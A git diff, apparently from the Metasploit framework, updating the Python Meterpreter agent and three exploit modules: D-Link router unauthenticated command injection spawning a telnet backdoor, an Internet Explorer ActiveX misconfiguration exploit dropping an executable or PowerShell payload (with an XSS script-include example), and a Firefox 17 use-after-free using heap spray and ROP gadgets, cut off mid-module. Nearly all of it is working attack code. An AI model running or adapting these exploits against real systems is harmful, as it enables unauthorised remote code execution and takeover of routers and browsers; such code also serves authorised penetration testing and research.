Update from master
commit
0c1e6546af
|
@ -303,6 +303,7 @@ def channel_create_stdapi_fs_file(request, response):
|
|||
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
||||
if fmode:
|
||||
fmode = fmode['value']
|
||||
fmode = fmode.replace('bb', 'b')
|
||||
else:
|
||||
fmode = 'rb'
|
||||
file_h = open(fpath, fmode)
|
||||
|
@ -320,6 +321,7 @@ def channel_create_stdapi_net_tcp_client(request, response):
|
|||
connected = False
|
||||
for i in range(retries + 1):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(3.0)
|
||||
if local_host.get('value') and local_port.get('value'):
|
||||
sock.bind((local_host['value'], local_port['value']))
|
||||
try:
|
||||
|
@ -380,7 +382,7 @@ def stdapi_sys_process_execute(request, response):
|
|||
if len(cmd) == 0:
|
||||
return ERROR_FAILURE, response
|
||||
if os.path.isfile('/bin/sh'):
|
||||
args = ['/bin/sh', '-c', cmd, raw_args]
|
||||
args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
|
||||
else:
|
||||
args = [cmd]
|
||||
args.extend(shlex.split(raw_args))
|
||||
|
|
|
@ -404,5 +404,7 @@ class PythonMeterpreter(object):
|
|||
return resp
|
||||
|
||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if hasattr(os, 'setsid'):
|
||||
os.setsid()
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
||||
|
|
|
@ -8,155 +8,146 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::CommandShell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection via the web
|
||||
interface. The vulnerability exists in command.php, which is accessible without
|
||||
authentication. This module has been tested with the versions DIR-600 2.14b01,
|
||||
DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
|
||||
and establish a session over it, the second one runs commands via the CMD target.
|
||||
There is no wget or tftp client to upload an elf backdoor easily. According to the
|
||||
vulnerability discoverer, more D-Link devices may affected.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '89861' ],
|
||||
[ 'EDB', '24453' ],
|
||||
[ 'BID', '57734' ],
|
||||
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 04 2013',
|
||||
'Privileged' => true,
|
||||
'Platform' => ['linux','unix'],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'CMD', #all devices
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
}
|
||||
],
|
||||
[ 'Telnet', #all devices - default target
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 1
|
||||
))
|
||||
end
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection via the web
|
||||
interface. The vulnerability exists in command.php, which is accessible without
|
||||
authentication. This module has been tested with the versions DIR-600 2.14b01,
|
||||
DIR-300 rev B 2.13.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '89861' ],
|
||||
[ 'EDB', '24453' ],
|
||||
[ 'BID', '57734' ],
|
||||
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 04 2013',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
def exploit
|
||||
if target.name =~ /CMD/
|
||||
exploit_cmd
|
||||
else
|
||||
exploit_telnet
|
||||
end
|
||||
end
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
|
||||
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),
|
||||
OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])
|
||||
], self.class)
|
||||
|
||||
def exploit_cmd
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = "#{payload.encoded}; echo end"
|
||||
print_status("#{rhost}:#{rport} - Sending exploit request...")
|
||||
res = request(cmd)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
end
|
||||
|
||||
if res.body.include?("end")
|
||||
print_good("#{rhost}:#{rport} - Exploited successfully\n")
|
||||
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
|
||||
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
def tel_timeout
|
||||
(datastore['TelnetTimeout'] || 10).to_i
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
def banner_timeout
|
||||
(datastore['TelnetBannerTimeout'] || 25).to_i
|
||||
end
|
||||
|
||||
def exploit_telnet
|
||||
telnetport = rand(65535)
|
||||
def session_timeout
|
||||
(datastore['SessionTimeout'] || 10).to_i
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
|
||||
def exploit
|
||||
telnetport = rand(65535)
|
||||
|
||||
cmd = "telnetd -p #{telnetport}"
|
||||
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
|
||||
|
||||
#starting the telnetd gives no response
|
||||
print_status("#{rhost}:#{rport} - Sending exploit request...")
|
||||
request(cmd)
|
||||
cmd = "telnetd -p #{telnetport}"
|
||||
|
||||
begin
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
#starting the telnetd gives no response
|
||||
print_status("#{rhost}:#{rport} - Sending exploit request...")
|
||||
request(cmd)
|
||||
|
||||
if sock
|
||||
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
|
||||
add_socket(sock)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
|
||||
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
|
||||
auth_info = {
|
||||
:host => rhost,
|
||||
:port => telnetport,
|
||||
:sname => 'telnet',
|
||||
:user => "",
|
||||
:pass => "",
|
||||
:source_type => "exploit",
|
||||
:active => true
|
||||
}
|
||||
report_auth_info(auth_info)
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => nil,
|
||||
'PASSWORD' => nil
|
||||
}
|
||||
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
|
||||
rescue
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
||||
end
|
||||
return
|
||||
end
|
||||
if sock.nil?
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
def request(cmd)
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
if prompt.nil?
|
||||
sock.close
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect")
|
||||
end
|
||||
|
||||
uri = '/command.php'
|
||||
print_status("#{rhost}:#{rport} - Trying to create the Msf session...")
|
||||
begin
|
||||
Timeout.timeout(session_timeout) do
|
||||
activated = handler(sock)
|
||||
while(activated !~ /claimed/)
|
||||
activated = handler(sock)
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session")
|
||||
end
|
||||
end
|
||||
|
||||
def request(cmd)
|
||||
|
||||
uri = '/command.php'
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
"cmd" => cmd
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
end
|
||||
end
|
||||
|
||||
def negotiate_telnet(sock)
|
||||
begin
|
||||
Timeout.timeout(banner_timeout) do
|
||||
while(true)
|
||||
data = sock.get_once(-1, tel_timeout)
|
||||
return nil if not data or data.length == 0
|
||||
if data =~ /\x23\x20$/
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
"cmd" => cmd
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,125 +6,102 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/util/exe'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
|
||||
'Description' => %q{
|
||||
This exploit takes advantage of the "Initialize and script ActiveX controls not
|
||||
marked safe for scripting" setting within Internet Explorer. When this option is set,
|
||||
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
|
||||
interact with the file system and run commands. This security flaw is not uncommon
|
||||
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
|
||||
save binary data to the file system, ADODB.Stream access is required, which in IE7
|
||||
will trigger a cross domain access violation. As such, we write the code to a .vbs
|
||||
file and execute it from there, where no such restrictions exist.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
|
||||
'Description' => %q{
|
||||
This exploit takes advantage of the "Initialize and script ActiveX controls not
|
||||
marked safe for scripting" setting within Internet Explorer. When this option is set,
|
||||
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
|
||||
interact with the file system and run commands. This security flaw is not uncommon
|
||||
in corporate environments for the 'Intranet' or 'Trusted Site' zones.
|
||||
|
||||
When set via domain policy, the most common registry entry to modify is HKLM\
|
||||
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
|
||||
which if set to '0' forces ActiveX controls not marked safe for scripting to be
|
||||
enabled for the Intranet zone.
|
||||
When set via domain policy, the most common registry entry to modify is HKLM\
|
||||
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
|
||||
which if set to '0' forces ActiveX controls not marked safe for scripting to be
|
||||
enabled for the Intranet zone.
|
||||
|
||||
This module creates a javascript/html hybrid that will render correctly either
|
||||
via a direct GET http://msf-server/ or as a javascript include, such as in:
|
||||
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
|
||||
</script>.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'natron'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
|
||||
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
|
||||
],
|
||||
'DisclosureDate' => 'Sep 20 2010',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'HTTP::compression' => 'gzip'
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
This module creates a javascript/html hybrid that will render correctly either
|
||||
via a direct GET http://msf-server/ or as a javascript include, such as in:
|
||||
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
|
||||
</script>.
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
|
||||
an x64 iexplore.exe.
|
||||
},
|
||||
|
||||
#print_status("Starting...");
|
||||
# Build out the HTML response page
|
||||
var_shellobj = rand_text_alpha(rand(5)+5);
|
||||
var_fsobj = rand_text_alpha(rand(5)+5);
|
||||
var_fsobj_file = rand_text_alpha(rand(5)+5);
|
||||
var_vbsname = rand_text_alpha(rand(5)+5);
|
||||
var_writedir = rand_text_alpha(rand(5)+5);
|
||||
var_exename = rand_text_alpha(rand(5)+5);
|
||||
var_origLoc = rand_text_alpha(rand(5)+5);
|
||||
var_byteArray = rand_text_alpha(rand(5)+5);
|
||||
var_stream = rand_text_alpha(rand(5)+5);
|
||||
var_writestream = rand_text_alpha(rand(5)+5);
|
||||
var_strmConv = rand_text_alpha(rand(5)+5);
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'natron',
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
|
||||
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
|
||||
[ 'URL', 'http://support.microsoft.com/kb/870669']
|
||||
],
|
||||
'DisclosureDate' => 'Sep 20 2010',
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'HTTP::compression' => 'gzip'
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
p = regenerate_payload(cli);
|
||||
print_status("Request received for #{request.uri}");
|
||||
exe = generate_payload_exe({ :code => p.encoded })
|
||||
#print_status("Building vbs file...");
|
||||
# Build the content that will end up in the .vbs file
|
||||
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
|
||||
#{var_origLoc} = SetLocale(1033)
|
||||
|)
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
print_status("Encoding payload into vbs/javascript/html...");
|
||||
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
|
||||
# for conversion with ADODB.Stream
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
vbs_ary = []
|
||||
# The output of this loop needs to be as small as possible since it
|
||||
# gets repeated for every byte of the executable, ballooning it by a
|
||||
# factor of about 80k (the current size of the exe template). In its
|
||||
# current form, it's down to about 4MB on the wire
|
||||
exe.each_byte do |b|
|
||||
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
|
||||
end
|
||||
vbs_content << vbs_ary.join("")
|
||||
# Build out the HTML response page
|
||||
var_shellobj = rand_text_alpha(rand(5)+5)
|
||||
|
||||
# Continue with the rest of the vbs file;
|
||||
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
|
||||
# Then use ADODB.Stream again to write the binary to file.
|
||||
#print_status("Finishing vbs...");
|
||||
vbs_content << Rex::Text.to_hex(%Q|
|
||||
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
|
||||
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"
|
||||
p = regenerate_payload(cli)
|
||||
if datastore['TECHNIQUE'] == 'VBS'
|
||||
js_content = vbs_technique(var_shellobj, p)
|
||||
else
|
||||
js_content = psh_technique(var_shellobj, p)
|
||||
end
|
||||
|
||||
Set #{var_strmConv} = CreateObject("ADODB.Stream")
|
||||
print_status("Request received for #{request.uri}")
|
||||
print_status("Sending exploit html/javascript");
|
||||
|
||||
#{var_strmConv}.Type = 2
|
||||
#{var_strmConv}.Charset = "x-ansi"
|
||||
#{var_strmConv}.Open
|
||||
#{var_strmConv}.WriteText s, 0
|
||||
#{var_strmConv}.Position = 0
|
||||
#{var_strmConv}.Type = 1
|
||||
#{var_strmConv}.SaveToFile #{var_writedir}, 2
|
||||
# Transmit the response to the client
|
||||
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
|
||||
|
||||
SetLocale(#{var_origLoc})|)
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
# Encode the vbs_content
|
||||
#print_status("Hex encoded vbs_content: #{vbs_content}");
|
||||
def vbs_technique(var_shellobj, p)
|
||||
var_fsobj = rand_text_alpha(rand(5)+5)
|
||||
var_fsobj_file = rand_text_alpha(rand(5)+5)
|
||||
var_vbsname = rand_text_alpha(rand(5)+5)
|
||||
var_writedir = rand_text_alpha(rand(5)+5)
|
||||
|
||||
exe = generate_payload_exe({ :code => p.encoded })
|
||||
vbs = Msf::Util::EXE.to_exe_vbs(exe)
|
||||
vbs_content = Rex::Text.to_hex(vbs)
|
||||
|
||||
# Build the javascript that will be served
|
||||
js_content = %Q|
|
||||
|
@ -138,18 +115,21 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
|
|||
#{var_fsobj_file}.Close();
|
||||
|
||||
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
|
||||
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
|
||||
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
|
||||
//</script></html>
|
||||
|
|
||||
return js_content
|
||||
end
|
||||
|
||||
print_status("Sending exploit html/javascript");
|
||||
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");
|
||||
def psh_technique(var_shellobj, p)
|
||||
cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
|
||||
js_content = %Q|
|
||||
//<html><head></head><body><script>
|
||||
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
|
||||
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
|
||||
//</script></html>
|
||||
|
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
return js_content
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,113 +9,113 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox XMLSerializer Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
|
||||
an use after free of an Element object, when using the serializeToStream method
|
||||
with a specially crafted OutputStream defining its own write function. This module
|
||||
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
|
||||
SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'regenrecht', # Vulnerability Discovery, Analysis and PoC
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0753' ],
|
||||
[ 'OSVDB', '89021'],
|
||||
[ 'BID', '57209'],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
|
||||
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
|
||||
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'PrependMigrate' => true
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true,
|
||||
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 17 / Windows XP SP3',
|
||||
{
|
||||
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
|
||||
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
|
||||
'RetGadget' => 0x77c3ee16, # ret from msvcrt
|
||||
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
|
||||
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox XMLSerializer Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
|
||||
a use-after-free of an Element object, when using the serializeToStream method
|
||||
with a specially crafted OutputStream defining its own write function. This module
|
||||
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
|
||||
SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'regenrecht', # Vulnerability Discovery, Analysis and PoC
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0753' ],
|
||||
[ 'OSVDB', '89021'],
|
||||
[ 'BID', '57209'],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
|
||||
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
|
||||
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'PrependMigrate' => true
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true,
|
||||
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 17 / Windows XP SP3',
|
||||
{
|
||||
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
|
||||
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
|
||||
'RetGadget' => 0x77c3ee16, # ret from msvcrt
|
||||
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
|
||||
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def stack_pivot
|
||||
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
return pivot
|
||||
end
|
||||
def stack_pivot
|
||||
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
return pivot
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_status("Agent: #{agent}")
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_status("Agent: #{agent}")
|
||||
|
||||
if agent !~ /Windows NT 5\.1/
|
||||
print_error("Windows XP not found, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
if agent !~ /Windows NT 5\.1/
|
||||
print_error("Windows XP not found, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
unless agent =~ /Firefox\/17/
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
unless agent =~ /Firefox\/17/
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
# Fake object landed on 0x0c101008 if heap spray is working as expected
|
||||
code = [
|
||||
target['FakeVFTable'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['PopRetGadget'],
|
||||
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
|
||||
].pack("V*")
|
||||
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
|
||||
code << [target['PopRetGadget']].pack("V") # pop # ret
|
||||
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
|
||||
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
|
||||
# Fake object landed on 0x0c101008 if heap spray is working as expected
|
||||
code = [
|
||||
target['FakeVFTable'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['PopRetGadget'],
|
||||
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
|
||||
].pack("V*")
|
||||
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
|
||||
code << [target['PopRetGadget']].pack("V") # pop # ret
|
||||
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
|
||||
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
|
||||
|
||||
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
|
||||
